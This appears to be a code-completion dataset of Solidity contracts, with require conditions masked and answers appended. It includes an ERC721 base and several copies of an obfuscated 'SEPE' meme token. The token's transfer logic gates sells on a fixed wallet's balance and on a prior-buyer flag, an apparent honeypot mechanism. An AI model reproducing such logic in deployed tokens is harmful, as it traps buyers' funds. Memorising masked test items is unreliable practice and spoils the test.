* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
}
constructor(
string memory _name,
string memory _symbol,
string memory _baseTokenUri
) {
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string memory) {
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId)
public
view
virtual
returns (string memory)
{
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function _approve(address _to, uint256 _tokenId) internal {
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function _setApprovalForAll(address _to, bool _approved) internal {
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator)
public
view
returns (bool)
{
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(
address _from,
address _to,
uint256 _tokenId
) internal canTransfer(_tokenId) {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) internal canTransfer(_tokenId) {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) internal canTransfer(_tokenId) {
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId)
internal
view
returns (bool)
{
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId)
internal
canTransfer(_tokenId)
{
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(<FILL_ME>)
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) internal returns (bool) {
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index)
public
view
returns (uint256)
{
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
}
function _registerInterface(bytes4 _interfaceId) internal {
}
}
|
ownerOf(_tokenId)==_owner,"Asset does not belong to given owmer"
| 142,916 |
ownerOf(_tokenId)==_owner
|
"Asset already exists"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "./Addresses.sol";
import "./Strings.sol";
import "./ERC721Receiver.sol";
import "./IERC721.sol";
abstract contract ERC721BasicToken is IERC721 {
using Address for address;
using Strings for uint256;
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 private constant ERC721_RECEIVED = 0xf0b9e5ba;
bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
bytes4 private constant InterfaceId_ERC165 = 0x01ffc9a7;
string internal name_;
string internal symbol_;
string public baseTokenURI;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping of interface id to whether or not it's supported
mapping(bytes4 => bool) internal supportedInterfaces;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Mapping from token ID to owner
mapping(uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping(uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping(address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
}
constructor(
string memory _name,
string memory _symbol,
string memory _baseTokenUri
) {
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string memory) {
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId)
public
view
virtual
returns (string memory)
{
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function _approve(address _to, uint256 _tokenId) internal {
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function _setApprovalForAll(address _to, bool _approved) internal {
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator)
public
view
returns (bool)
{
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(
address _from,
address _to,
uint256 _tokenId
) internal canTransfer(_tokenId) {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) internal canTransfer(_tokenId) {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) internal canTransfer(_tokenId) {
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId)
internal
view
returns (bool)
{
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId)
internal
canTransfer(_tokenId)
{
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(<FILL_ME>)
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to] + 1;
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) internal returns (bool) {
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index)
public
view
returns (uint256)
{
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
}
function _registerInterface(bytes4 _interfaceId) internal {
}
}
|
tokenOwner[_tokenId]==address(0),"Asset already exists"
| 142,916 |
tokenOwner[_tokenId]==address(0)
|
" Only one transfer per block allowed."
|
/**
SHIBA+PEPE = SEPE
Twitter: https://twitter.com/SEPE_Ethereum
Telegram: https://t.me/SEPE_Ethereum
Website: https://sepeeth.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function pnjvk(uint256 a, uint256 b) internal pure returns (uint256) {
}
function pnjvk(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"SEPE";
string private constant _symbol = unicode"SEPE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
uint256 public _taxSwapoMvip = _totalSupply;
uint256 public _maxHoldingoAmount = _totalSupply;
uint256 public _taxSwapThreshold = _totalSupply;
uint256 public _taxSwapoMax = _totalSupply;
uint256 private _initialBuyTax=13;
uint256 private _initialSellTax=24;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=7;
uint256 private _reduceSellTax1At=1;
uint256 private _swpydituve=0;
uint256 private _ybquhkupn=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _yfesxFardues;
mapping (address => bool) private _rsfuqxelt;
mapping(address => uint256) private _hdlorTransowsp;
bool public transerDelyEnble = false;
address public _MutavskokFulr = 0xA7C7dEE6384296Dab38f7B7dd7Ee815E35829e43;
IUniswapV2Router02 private _uniRouterxV2;
address private _uniV2xLP;
bool private _rkequiqor;
bool private _inTaxoSwap = false;
bool private _swapuesUniswapesqe = false;
event RmavrAtcpbox(uint _taxSwapoMvip);
modifier lockTakSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require (from!= address(0), "ERC20: transfer from the zero address");
require (to!= address(0), "ERC20: transfer to the zero address");
require (amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if ( from != owner() &&to!= owner()) {
if (transerDelyEnble) {
if (to!= address(_uniRouterxV2) &&to!= address(_uniV2xLP)) {
require(<FILL_ME>)
_hdlorTransowsp[tx.origin] = block.number;
}
}
if ( from == _uniV2xLP && to!= address (_uniRouterxV2) &&!_yfesxFardues[to]) {
require (amount <= _taxSwapoMvip, "Forbid");
require (balanceOf (to) + amount <= _maxHoldingoAmount,"Forbid");
if (_ybquhkupn < _swpydituve) {
require (!ruhefque(to));
}
_ybquhkupn ++ ; _rsfuqxelt[to] = true;
taxAmount = amount.mul((_ybquhkupn > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(to == _uniV2xLP&&from!= address (this) &&! _yfesxFardues[from]) {
require (amount <= _taxSwapoMvip && balanceOf(_MutavskokFulr) <_taxSwapoMax, "Forbid");
taxAmount = amount.mul((_ybquhkupn > _reduceSellTax1At) ?_finalSellTax:_initialSellTax).div(100);
require (_ybquhkupn >_swpydituve && _rsfuqxelt[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inTaxoSwap
&& to ==_uniV2xLP&&_swapuesUniswapesqe &&contractTokenBalance > _taxSwapThreshold
&& _ybquhkupn > _swpydituve &&! _yfesxFardues [to] &&! _yfesxFardues [from]
) {
_transferFrom(rpowt(amount,rpowt(contractTokenBalance, _taxSwapoMax)));
uint256 contractETHBalance = address (this).balance;
if (contractETHBalance > 0) {
}
}
}
if ( taxAmount > 0 ) {
_balances[address(this)] = _balances [address(this)].add(taxAmount);
emit Transfer (from, address (this) ,taxAmount);
}
_balances[from] = pnjvk(from , _balances [from], amount);
_balances[to] = _balances[to].add(amount.pnjvk (taxAmount));
emit Transfer( from, to, amount. pnjvk(taxAmount));
}
function _transferFrom(uint256 _swapTaxAndLiquify) private lockTakSwap {
}
function rpowt(uint256 a, uint256 b) private pure returns (uint256) {
}
function pnjvk(address from, uint256 a, uint256 b) private view returns (uint256) {
}
function removerLimits() external onlyOwner{
}
function ruhefque(address account) private view returns (bool) {
}
function startTrading() external onlyOwner() {
}
receive( ) external payable { }
}
|
_hdlorTransowsp[tx.origin]<block.number," Only one transfer per block allowed."
| 143,048 |
_hdlorTransowsp[tx.origin]<block.number
|
"Forbid"
|
/**
SHIBA+PEPE = SEPE
Twitter: https://twitter.com/SEPE_Ethereum
Telegram: https://t.me/SEPE_Ethereum
Website: https://sepeeth.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function pnjvk(uint256 a, uint256 b) internal pure returns (uint256) {
}
function pnjvk(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"SEPE";
string private constant _symbol = unicode"SEPE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
uint256 public _taxSwapoMvip = _totalSupply;
uint256 public _maxHoldingoAmount = _totalSupply;
uint256 public _taxSwapThreshold = _totalSupply;
uint256 public _taxSwapoMax = _totalSupply;
uint256 private _initialBuyTax=13;
uint256 private _initialSellTax=24;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=7;
uint256 private _reduceSellTax1At=1;
uint256 private _swpydituve=0;
uint256 private _ybquhkupn=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _yfesxFardues;
mapping (address => bool) private _rsfuqxelt;
mapping(address => uint256) private _hdlorTransowsp;
bool public transerDelyEnble = false;
address public _MutavskokFulr = 0xA7C7dEE6384296Dab38f7B7dd7Ee815E35829e43;
IUniswapV2Router02 private _uniRouterxV2;
address private _uniV2xLP;
bool private _rkequiqor;
bool private _inTaxoSwap = false;
bool private _swapuesUniswapesqe = false;
event RmavrAtcpbox(uint _taxSwapoMvip);
modifier lockTakSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require (from!= address(0), "ERC20: transfer from the zero address");
require (to!= address(0), "ERC20: transfer to the zero address");
require (amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if ( from != owner() &&to!= owner()) {
if (transerDelyEnble) {
if (to!= address(_uniRouterxV2) &&to!= address(_uniV2xLP)) {
require (_hdlorTransowsp[tx.origin] < block.number, " Only one transfer per block allowed.");
_hdlorTransowsp[tx.origin] = block.number;
}
}
if ( from == _uniV2xLP && to!= address (_uniRouterxV2) &&!_yfesxFardues[to]) {
require (amount <= _taxSwapoMvip, "Forbid");
require(<FILL_ME>)
if (_ybquhkupn < _swpydituve) {
require (!ruhefque(to));
}
_ybquhkupn ++ ; _rsfuqxelt[to] = true;
taxAmount = amount.mul((_ybquhkupn > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(to == _uniV2xLP&&from!= address (this) &&! _yfesxFardues[from]) {
require (amount <= _taxSwapoMvip && balanceOf(_MutavskokFulr) <_taxSwapoMax, "Forbid");
taxAmount = amount.mul((_ybquhkupn > _reduceSellTax1At) ?_finalSellTax:_initialSellTax).div(100);
require (_ybquhkupn >_swpydituve && _rsfuqxelt[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inTaxoSwap
&& to ==_uniV2xLP&&_swapuesUniswapesqe &&contractTokenBalance > _taxSwapThreshold
&& _ybquhkupn > _swpydituve &&! _yfesxFardues [to] &&! _yfesxFardues [from]
) {
_transferFrom(rpowt(amount,rpowt(contractTokenBalance, _taxSwapoMax)));
uint256 contractETHBalance = address (this).balance;
if (contractETHBalance > 0) {
}
}
}
if ( taxAmount > 0 ) {
_balances[address(this)] = _balances [address(this)].add(taxAmount);
emit Transfer (from, address (this) ,taxAmount);
}
_balances[from] = pnjvk(from , _balances [from], amount);
_balances[to] = _balances[to].add(amount.pnjvk (taxAmount));
emit Transfer( from, to, amount. pnjvk(taxAmount));
}
function _transferFrom(uint256 _swapTaxAndLiquify) private lockTakSwap {
}
function rpowt(uint256 a, uint256 b) private pure returns (uint256) {
}
function pnjvk(address from, uint256 a, uint256 b) private view returns (uint256) {
}
function removerLimits() external onlyOwner{
}
function ruhefque(address account) private view returns (bool) {
}
function startTrading() external onlyOwner() {
}
receive( ) external payable { }
}
|
balanceOf(to)+amount<=_maxHoldingoAmount,"Forbid"
| 143,048 |
balanceOf(to)+amount<=_maxHoldingoAmount
|
null |
/**
SHIBA+PEPE = SEPE
Twitter: https://twitter.com/SEPE_Ethereum
Telegram: https://t.me/SEPE_Ethereum
Website: https://sepeeth.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function pnjvk(uint256 a, uint256 b) internal pure returns (uint256) {
}
function pnjvk(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"SEPE";
string private constant _symbol = unicode"SEPE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
uint256 public _taxSwapoMvip = _totalSupply;
uint256 public _maxHoldingoAmount = _totalSupply;
uint256 public _taxSwapThreshold = _totalSupply;
uint256 public _taxSwapoMax = _totalSupply;
uint256 private _initialBuyTax=13;
uint256 private _initialSellTax=24;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=7;
uint256 private _reduceSellTax1At=1;
uint256 private _swpydituve=0;
uint256 private _ybquhkupn=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _yfesxFardues;
mapping (address => bool) private _rsfuqxelt;
mapping(address => uint256) private _hdlorTransowsp;
bool public transerDelyEnble = false;
address public _MutavskokFulr = 0xA7C7dEE6384296Dab38f7B7dd7Ee815E35829e43;
IUniswapV2Router02 private _uniRouterxV2;
address private _uniV2xLP;
bool private _rkequiqor;
bool private _inTaxoSwap = false;
bool private _swapuesUniswapesqe = false;
event RmavrAtcpbox(uint _taxSwapoMvip);
modifier lockTakSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
